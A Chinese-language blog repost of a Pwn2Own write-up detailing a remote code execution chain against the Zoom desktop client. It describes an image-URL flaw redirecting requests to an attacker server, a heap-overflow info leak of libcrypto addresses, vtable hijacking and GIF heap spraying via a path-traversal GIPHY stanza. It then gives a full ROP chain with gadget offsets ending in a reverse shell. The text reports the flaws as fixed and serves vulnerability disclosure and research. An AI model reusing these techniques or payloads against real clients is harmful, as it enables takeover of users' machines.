< member fname="SurveyMonkey" lname="" jid="robot_v1djhtaz32sgaja0byn84avg@xmpp.zoom.us" type="1" cmd="/sm" pic_url="https://marketplacecontent.zoom.us//CSKvJMq_RlSOESfMvUk- dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF-vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png" pic_relative_url="//CSKvJMq_RlSOESfMvUk-dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF- vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png" introduction="Manage SurveyMonkey surveys from your Zoom chat channel." signature="" extension="eyJub3RTaG93IjowLCJjbWRNb2RpZnlUaW1lIjoxNTc4NTg4NjA4NDE5fQ=="/ >

< /members >

< /zoom >

< /presence >

pic_url的屬性被忽略,使用pic_relative_url屬性,並在前面加上"https://marketplacecontent.zoom.us",執行請求:

"https://marketplacecontent.zoom.us" + image

"https://marketplacecontent.zoom.us" + "example.org//CSKvJMq_RlSOESfMvUk-dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF- vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png"

"https://marketplacecontent.zoom.usexample.org//CSKvJMq_RlSOESfMvUk-dw/nhYXYiTzSYWf4mM3ZO4_dw/app/UF- vuzIGQuu3WviGzDM6Eg/iGpmOSiuQr6qEYgWh15UKA.png"

因為這不限於 zoom.us 的子域,可以將其重定向到我控制的服務器。

我仍然不完全確定這種情況的原因,但這確實是有效的。這是我用於攻擊的另外兩個低影響漏洞之一,目前根據 Zoom 安全公告也已修復。就其本身而言,這可用於獲取其他用戶的外部 IP 地址。

建立直接連接對我非常有幫助,因為與 XMPP 連接相比,我對這個連接有更多的控制權。XMPP 連接不是直接連接的,而是通過服務器。這意味着無效的 XML 不會到達。由於我想要泄漏的地址不太可能由完全可打印的字符組成,我無法嘗試將這些包含在我可以到達的節中。

利用思路如下:

使用查詢部分為 1087 字節的 URL 向我控制的服務器發起 HTTPS 請求。

接受連接,但延遲響應 TLS 握手。

觸發緩衝區溢出漏洞,這樣我溢出的緩衝區就在包含 URL 查詢部分的塊之前。這將覆蓋查詢塊的堆頭、整個查詢(包括末尾的零終止符)和下一個堆頭。

讓 TLS 握手繼續進行。

接收查詢,帶有堆頭和 HTTP 請求中下一個塊的開始。

https://sector7.computest.nl/post/2021-08-zoom/Animatie_infoleak.webm

類似於創建一個對象,覆蓋一個長度字段並讀取它。不使用長度計數器,而是通過一直寫入緩衝區的內容來覆蓋字符串的零終止符。

這允許從下一個塊的開始泄漏數據,直到第一個空字節結束。我還在 OpenSSL 的源代碼中找到了一個有趣的對象libcrypto-1_1.dll。TLS1_PRF_PKEY_CTX是在 TLS 握手期間使用的對象,用於在握手期間驗證拷貝的 MAC,以確保攻擊者在握手期間沒有更改任何內容。此結構以指向同一 DLL 內另一個結構的指針(散列函數的靜態結構)開頭。

typedef struct {

/* Digest to use for PRF */

const EVP_MD *md;

/* Secret value to use for PRF */

unsigned char *sec;

size_t seclen;

/* Buffer of concatenated seed data */

unsigned char seed[TLS1_PRF_MAXBUF];

size_t seedlen;

} TLS1_PRF_PKEY_CTX;

這個對象有一個缺點:它是在一個函數調用中創建、使用和釋放的。但幸運的是,OpenSSL 不會清除對象的全部內容,因此這個指針仍會保留在已釋放的塊中:

static void pkey_tls1_prf_cleanup(EVP_PKEY_CTX *ctx)

{

TLS1_PRF_PKEY_CTX *kctx = ctx->data;

OPENSSL_clear_free(kctx->sec, kctx->seclen);

OPENSSL_cleanse(kctx->seed, kctx->seedlen);

OPENSSL_free(kctx);

}

這意味着可以泄漏想要泄露的指針,但為了做到這一點,需要放置三個對象。需要以正確的順序在一個存儲Bucket中放置 3 個塊:我溢出的塊、發起的 HTTPS 請求的 URL 的查詢部分和一個已釋放的TLS1_PRF_PKEY_CTX對象。在漏洞利用中繞過堆隨機化的一種常見方法是分配大量對象並反覆嘗試,但在這種情況下並不會那麼簡單:我需要足夠的對象和溢出才能有成功的機會,還需要允許TLS1_PRF_PKEY_CTX保留釋放的對象。如果分配了太多的Query,TLS1_PRF_PKEY_CTX就不會保留任何對象,這是一個很難達到的平衡的點。

我花了幾天時間進行嘗試,最終泄露了一次地址。慢慢地,我找到了對象和溢出數量的正確字節平衡。

這裡的@z\x15p( 0x70157a40) 是泄露的地址libcrypto-1_1.dll:

大大增加成功機會的一件事是使用 TLS 重新協商。該TLS1_PRF_PKEY_CTX對象是在握手期間創建的,但設置新連接需要時間並進行大量分配,這可能會干擾我的堆存儲Bucket。發現還可以建立一個連接並重複使用 TLS 重新協商。OpenSSL 支持重新協商,即使你想重新協商數千次而不發送 HTTP 響應,這也完全沒問題。我最終創建了 3 個與網絡服務器的連接,該服務器除了不斷重新協商之外什麼都不做。這允許在Bucket的釋放空間中創建一個新的釋放對象TLS1_PRF_PKEY_CTX的數據流。

然而,信息泄漏仍然是漏洞利用中最不穩定的部分。如果你回頭觀看漏洞利用視頻,那麼最長步驟就是等待信息泄漏,此後漏洞利用的其餘部分很快就完成了。

0x11 穩定控制

下一步是找到一個可以覆蓋虛表或函數指針的對象。再次在 DLL 中找到了一個有用的開源組件。該viper.dll文件包含 2012 年左右的 WebRTC 庫的副本。最初,我發現當收到呼叫邀請時,viper.dll會創建 5 個 1064 字節的對象,這些對象都以 vtable 開頭。通過搜索 WebRTC 源代碼,我發現這些是FileWrapperImpl對象。這些可以看作是添加了一個來自 C++ API 的指針:寫入和讀取數據的方法、析構函數中的自動關閉和刷新等。如果在調試器中覆蓋 vtable,那麼在退出 Zoom 之前什麼都不會發生,只有這樣析構函數才會調用一些 vtable 函數。

class FileWrapperImpl : public FileWrapper {

public:

FileWrapperImpl();

~FileWrapperImpl() override;

int FileName(char* file_name_utf8, size_t size) const override;

bool Open() const override;

int OpenFile(const char* file_name_utf8,

bool read_only,

bool loop = false,

bool text = false) override;

int OpenFromFileHandle(FILE* handle,

bool manage_file,

bool read_only,

bool loop = false) override;

int CloseFile() override;

int SetMaxFileSize(size_t bytes) override;

int Flush() override;

int Read(void* buf, size_t length) override;

bool Write(const void* buf, size_t length) override;

int WriteText(const char* format, ...) override;

int Rewind() override;

private:

int CloseFileImpl();

int FlushImpl();

std::unique_ptr< RWLockWrapper > rw_lock_;

FILE* id_;

bool managed_file_handle_;

bool open_;

bool looping_;

bool read_only_;

size_t max_size_in_bytes_; // -1 indicates file size limitation is off

size_t size_in_bytes_;

char file_name_utf8_[kMaxFileNameSize];

};

退出時的代碼執行並不理想:這意味着每次嘗試只有一次機會。如果未能覆蓋 vtable,將沒有機會再次嘗試。也沒有辦法遠程觸發一個乾淨的退出,成功退出的機會也很小。信息泄漏會破壞前一階段的許多對象和堆數據,如果這些對象未使用,這可能不會影響任何事情,但是如果我嘗試退出可能會由於析構函數或釋放而導致崩潰。

基於 WebRTC 源代碼,我注意到這些FileWrapperImpl對象經常用於與音頻播放相關的類中。碰巧的是,Thijs 當時使用的 Windows VM 沒有模擬聲卡。Daan 建議添加一個,因為它可能對這些對象很重要。添加之後,FileWrapperImpl的創建確實發生了重大變化。

使用模擬聲卡,FileWrapperImpl在呼叫時會定期創建和銷毀。鈴聲的每個循環都會觸發這些對象的分配和釋放。

現在有了一個可以非常可靠地覆蓋的 vtable 指針,但現在的問題是:在這個指針上寫什麼?

0x12 GIPHY

現在已經獲得了libcrypto-1_1.dll信息泄漏的偏移量,但我還需要一個我控制的數據地址:如果我覆蓋一個 vtable 指針,那麼它需要指向一個包含一個或多個函數指針的區域。ASLR 意味着我不確定我的堆分配最終在哪裡。為了解決這個問題,我使用了 GIF。

要在 Zoom 中發送消息,接收用戶必須事先接受連接請求或與攻擊者進行多用戶聊天。如果用戶能夠在 Zoom 中向另一個用戶發送帶有圖像的消息,則該圖像會被下載並自動顯示(低於幾兆字節)。如果它較大,則用戶需要單擊它才能下載。

在 Zoom 聊天客戶端中,也可以從 GIPHY 發送 GIF。對於這些圖像,不應用文件大小限制,並且始終會下載和顯示文件。用戶上傳和 GIPHY 文件都是從同一個域下載的,但使用不同的路徑。通過發送用於發送 GIPHY 的 XMPP 消息,但使用路徑遍歷將其指向用戶上傳的 GIF 文件,我發現可以允許下載任意大小的 GIF 文件。如果文件是有效的 GIF 文件,則將其加載到內存中。如果再次發送相同的鏈接,那麼它不會被下載兩次,而是在內存中分配一個新副本。這是我使用的第二個漏洞,也根據 Zoom 安全公告進行了修復。

一條普通的 GIPHY 消息:

< message xmlns="jabber:client" to="ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us" id="{62BFB8B6-9572-455C-B440-98F532517177}" type="chat" from="ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us/ZoomChat_pc" >

< body >John Doe sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download< /body >

< thread >gloox{F1FFE4F0-381E-472B-813B-55D766B87742}< /thread >

< active xmlns="http://jabber.org/protocol/chatstates"/ >

< sns >

< format >%1$@ sent you an image< /format >

< args >

< arg >John Doe< /arg >

< /args >

< /sns >

< zmext >

< msg_type >12< /msg_type >

< from n="John Doe" res="ZoomChat_pc"/ >

< to/ >

< visible >true< /visible >

< msg_feature >16384< /msg_feature >

< /zmext >

< giphyv2 id="YQitE4YNQNahy" url="https://giphy.com/gifs/YQitE4YNQNahy" tags="hacker" >

< pcInfo url="https://file.zoom.us/external/link/issue?id=1::HYlQuJmVbpLCRH1UrxGcLA::aatxNv43wlLYPmeAHSEJ4w::7ZOfQeOxWkdqbfz-Dx-zzununK0e5u80ifybTdCJ-Bdy5aXUiEOV0ZF17hCeWW4SnOllKIrSHUpiq7AlMGTGJsJRHTOC9ikJ3P0TlU1DX-u7TZG3oLIT8BZgzYvfQS-UzYCwm3caA8UUheUluoEEwKArApaBQ3BC4bEE6NpvoDqrX1qX" size="1456787"/ >

< mobileInfo url="https://file.zoom.us/external/link/issue?id=1::0ZmI3n09cbxxQtPKqWbv1g::AmSzU9Wrsp617D6cX05tMg::_Q5mp2qCa4PVFX8gNWtCmByNUliio7JGEpk7caC9Pfi2T66v2D3Jfy7YNrV_OyIRgdT5KJdffuZsHfYxc86O7bPgKROWPxfiyOHHwjVxkw80ivlkM0kTSItmJfd2bsdryYDnEIGrk-6WQUBxBOIpyMVJ2itJ-wc6tmOJBUo9-oCHHdi43Dk" size="549356"/ >

< bigPicInfo url="https://file.zoom.us/external/link/issue?id=1::hA-lI2ZGxBzgJczWbR4yPQ::ZxQquub32hKf5Tle_fRKGQ::TnskidmcXKrAUhyi4UP_QGp2qGXkApB2u9xEFRp5RHsZu1F6EL1zd-6mAaU7Cm0TiPQnALOnk1-ggJhnbL_S4czgttgdHVRKHP015TcbRo92RVCI351AO8caIsVYyEW5zpoTSmwsoR8t5E6gv4Wbmjx263lTi 1aWl62KifvJ_LDECBM1" size="4322534"/ >

< /giphyv2 >

< /message >

帶有操縱路徑的 GIPHY 消息:

< message xmlns="jabber:client" to="ek3_fdvytqgm0zzlmcndga@xmpp.zoom.us" id="{62BFB8B6-9572-455C-B440-98F532517177}" type="chat" from="ewcjlni_rwcjaygmtpvnew@xmpp.zoom.us/ZoomChat_pc" >

< body >John Doe sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download < /body >

< thread >gloox{F1FFE4F0-381E-472B-813B-55D766B87742} < /thread >

< active xmlns="http://jabber.org/protocol/chatstates"/ >

< sns >

< format >%1$@ sent you an image < /format >

< args >

< arg >John Doe < /arg >

< /args >

< /sns >

< zmext >

< msg_type >12 < /msg_type >

< from n="John Doe" res="ZoomChat_pc"/ >

< to/ >

< visible >true < /visible >

< msg_feature >16384 < /msg_feature >

< /zmext >

< giphyv2 id="YQitE4YNQNahy" url="https://giphy.com/gifs/YQitE4YNQNahy" tags="hacker" >

< pcInfo url="https://file.zoom.us/external/link/issue?id=1::HYlQuJmVbpLCRH1UrxGcLA::aatxNv43wlLYPmeAHSEJ4w::7ZOfQeOxWkdqbfz-Dx-zzununK0e5u80ifybTdCJ-Bdy5aXUiEOV0ZF17hCeWW4SnOllKIrSHUpiq7AlMGTGJsJRHTOC9ikJ3P0TlU1DX-u7TZG3oLIT8BZgzYvfQS-UzYCwm3caA8UUheUluoEEwKArApaBQ3BC4bEE6NpvoDqrX1qX" size="1456787"/ >

< mobileInfo url="https://file.zoom.us/external/link/issue?id=1::0ZmI3n09cbxxQtPKqWbv1g::AmSzU9Wrsp617D6cX05tMg::_Q5mp2qCa4PVFX8gNWtCmByNUliio7JGEpk7caC9Pfi2T66v2D3Jfy7YNrV_OyIRgdT5KJdffuZsHfYxc86O7bPgKROWPxfiyOHHwjVxkw80ivlkM0kTSItmJfd2bsdryYDnEIGrk-6WQUBxBOIpyMVJ2itJ-wc6tmOJBUo9-oCHHdi43Dk" size="549356"/ >

< bigPicInfo url="https://file.zoom.us/external/link/issue/../../../file/[file_id]" size="4322534"/ >

< /giphyv2 >

< /message >

我的計劃是創建一個 25 MB 的 GIF 文件並多次分配它以創建一個特定的地址,我要的數據將在其中放置。當使用 ASLR 時,這種大小的大分配是隨機的,但這些分配仍然是頁面對齊的。因為我想要放置的數據遠少於一頁,所以我可以只創建一頁數據並重複該操作。該頁面從一個最小的 GIF 文件開始,足以將整個文件視為有效的 GIF 文件。由於 Zoom 是 32 位應用程序,因此可能的地址空間非常小。如果在內存中加載了足夠多的 GIF 文件副本(例如,大約 512 MB),那麼我可以非常可靠地「猜測」特定地址位於 GIF 文件中。

0x13 ROP

現在有了在 libcrypto-1_1.dll中調用地址的所有部分。但是為了獲得任意代碼執行,需要調用多個函數。對於現代軟件中的堆棧緩衝區溢出,這通常是使用面向返回的編程 (ROP) 來實現的。通過將返回地址放在堆棧上以調用函數或執行特定的寄存器操作,可以通過控制參數順序調用多個函數。

只有一個堆緩衝區溢出漏洞,還不能對堆棧做任何事情。這樣的方式被稱為stack pivot:我將堆棧指針的地址替換為指向我控制的數據。我在libcrypto-1_1.dll中找到了以下指令序列:

push edi; # points to vtable pointer (memory we control)

pop esp; # now the stack pointer points to memory under our control

pop edi; # pop some extra registers

pop esi;

pop ebx;

pop ebp;

ret

這個序列是未對齊的,通常會做其他事情,但對我來說,這可用於將地址複製到覆蓋 ( edi) 到堆棧指針的數據中。這意味着我已經用緩衝區溢出寫入的數據替換了堆棧。

在 ROP 鏈中,我想調用VirtualProtect以啟用 shellcode 的執行bit。但是,libcrypto-1_1.dll沒有 import VirtualProtect,所以我還沒有這個地址。來自 32 位 Windows 應用程序的原始系統調用顯然很困難。因此,我使用了以下 ROP 鏈:

調用GetModuleHandleW以獲取kernel32.dll的基地址。

調用GetProcAddress以從kernel32.dll獲取VirtualProtectfrom的地址。

調用該地址以使 GIF 數據可執行。

跳轉到 GIF 中的 shellcode 偏移量。

在下面的動畫中,你可以看到如何覆蓋 vtable,然後在Close調用時將堆棧跳轉為我的緩衝區溢出漏洞。由於pop堆棧stack pivot gadget中的額外指令,一些未使用的值被彈出。然後,ROP 鏈通過調用我的 GIF 文件中GetModuleHandleW的字符串"kernel32.dll"作為參數來統計 。最後,當從該函數返回時,會調用一個gadget,將結果值放入ebx。這裡使用的調用約定意味着參數在返回地址之前通過堆棧傳遞。

https://sector7.computest.nl/post/2021-08-zoom/Animatie_Rop.webm

在漏洞利用中的 ROP 如下(crypto_base指向libcrypto-1_1.dll之前泄漏的加載地址):

# push edi; pop esp; pop edi; pop esi; pop ebx; pop ebp; ret

STACK_PIVOT = crypto_base + 0x441e9

GIF_BASE = 0x462bc020

VTABLE = GIF_BASE + 0x1c # Start of the correct vtable

SHELLCODE = GIF_BASE + 0x7fd # Location of our shellcode

KERNEL32_STR = GIF_BASE + 0x6c # Location of UTF-16 Kernel32.dll string

VIRTUALPROTECT_STR = GIF_BASE + 0x86 # Location of VirtualProtect string

KNOWN_MAPPED = 0x2fe451e4

JMP_GETMODULEHANDLEW = crypto_base + 0x1c5c36 # jmp GetModuleHandleW

JMP_GETPROCADDRESS = crypto_base + 0x1c5c3c # jmp GetProcAddress

RET = crypto_base + 0xdc28 # ret

POP_RET = crypto_base + 0xdc27 # pop ebp; ret

ADD_ESP_24 = crypto_base + 0x6c42e # add esp, 0x18; ret

PUSH_EAX_STACK = crypto_base + 0xdbaa9 # mov dword ptr [esp + 0x1c], eax; call ebx

POP_EBX = crypto_base + 0x16cfc # pop ebx; ret

JMP_EAX = crypto_base + 0x23370 # jmp eax

rop_stack = [

VTABLE, # pop edi

GIF_BASE + 0x101f4, # pop esi

GIF_BASE + 0x101f4, # pop ebx

KNOWN_MAPPED + 0x20, # pop ebp

JMP_GETMODULEHANDLEW,

POP_EBX,

KERNEL32_STR,

ADD_ESP_24,

PUSH_EAX_STACK,

0x41414141,

POP_RET, # Not used, padding for other objects

0x41414141,

0x41414141,

0x41414141,

JMP_GETPROCADDRESS,

JMP_EAX,

KNOWN_MAPPED + 0x10, # This will be overwritten with the base address of Kernel32.dll

VIRTUALPROTECT_STR,

SHELLCODE,

SHELLCODE & 0xfffff000,

0x1000,

0x40,

SHELLCODE - 8,

]

現在有一個反向 shell 並且可以啟動calc.exe.

0x14 可靠利用

比賽前的最後一周專注於使其達到可接受的可靠性水平。正如我在信息泄露中提到的,這個階段非常棘手。它花了很多時間才獲得成功的機會。我必須在這裡覆蓋大量數據,但應用程序必須保持足夠穩定,以便我仍然可以在不崩潰的情況下執行第二階段。

在第二階段,我可能會覆蓋不同對象的 vtable。每當我遇到這樣的崩潰時,我都會嘗試通過在 vtable 中的相應位置放置一個兼容的 no-op 函數來修復它。這比在 32 位 Windows 上聽起來更難,因為涉及多個調用約定,有些需要 RET 指令從堆棧中彈出參數,這意味着我需要一個空操作來彈出正確數量的值。

在第一階段,我也有機會覆蓋相同大小範圍內的對象中的指針。我還不能處理函數指針或虛擬表,因為我沒有信息泄漏,但我可以放置指向可讀/可寫內存的指針。我通過在此階段之前上傳一些 GIF 文件來創建具有受控數據的已知地址來開始漏洞利用,以便可以在用於溢出的數據中使用這些地址。

可能尚不清楚的是,每次嘗試都需要一個緩慢的手動過程。每次我想要運行我的漏洞利用時,我都會啟動客戶端,清除受害者的所有聊天消息,退出客戶端並再次啟動它。由於內存布局非常重要,我必須確保每次都從相同的狀態開始。我沒有自動執行此操作,因為我執着於確保以與比賽期間完全相同的方式使用客戶端。我做的任何不同的事情都可能影響堆布局。例如,我注意到添加網絡攔截可能會對網絡請求的分配方式產生一些影響,從而改變堆布局。我的嘗試通常接近 5 分鐘,所以即使只嘗試 10 次也需要一個小時。

信息泄漏和 vtable 覆蓋階段都在循環中運行。在第一次迭代中,我只會溢出少量次數,並且只有一個對象,但是隨着時間的推移,大小會越來越大,溢出會越來越多。

在第二階段,應用程序不需要在另一個階段保持足夠穩定,我只需要兩個相鄰的分配,而不是第三個未分配的塊。通過進一步覆蓋 10 個塊,有很大的機會通過一兩次迭代來達到所需的對象。

最後,我估計我的漏洞利用在 5 分鐘內有大約 50% 的成功機會。另一方面,如果可以在一次運行中泄漏libcrypto-1_1.ddl 的地址,然後在下一次運行中跳過信息泄漏,可以將可靠性提高到大約75%。

在比賽嘗試期間,我看不到攻擊者的屏幕,因此我不知道一切是否按計劃進行,calc.exe彈出時的巨大解脫讓我感覺一切努力都值得了。從研究開始到發現漏洞利用的主要漏洞,我總共花費了大約 1.5 周的時間。編寫和測試漏洞利用本身又花了 1.5 個月,其中包括我閱讀漏洞利用所需的所有 Windows 內部結構所需的時間。

參考及來源:https://sector7.computest.nl/post/2021-08-zoom/

arrow
arrow
    全站熱搜
    創作者介紹
    創作者 鑽石舞台 的頭像
    鑽石舞台

    鑽石舞台

    鑽石舞台 發表在 痞客邦 留言(0) 人氣()